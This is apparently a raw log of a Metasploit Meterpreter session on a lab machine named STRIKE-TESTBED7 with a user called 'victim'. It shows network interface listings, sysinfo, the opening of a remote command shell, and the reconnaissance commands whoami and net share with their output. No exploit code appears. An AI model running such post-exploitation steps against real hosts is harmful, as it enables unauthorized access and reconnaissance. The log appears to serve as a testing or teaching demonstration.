Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:d5:08:15
MTU : 1500
IPv4 Address : 192.168.164.145
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::9d61:be93:59e0:5119
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
Interface 14
============
Name : Bluetooth &H�Q�
Hardware MAC : 8c:85:90:4b:1c:09
MTU : 1500
IPv4 Address : 169.254.2.218
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::216b:c50e:53f:2da
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 20
============
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
meterpreter > sysinfo
Computer : STRIKE-TESTBED7
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : ja_JP
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > shell
Process 2756 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\Users>whoami
whoami
strike-testbed7\victim
c:\Users>net share
net share
-------------------------------------------------------------------------------
C$ C:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin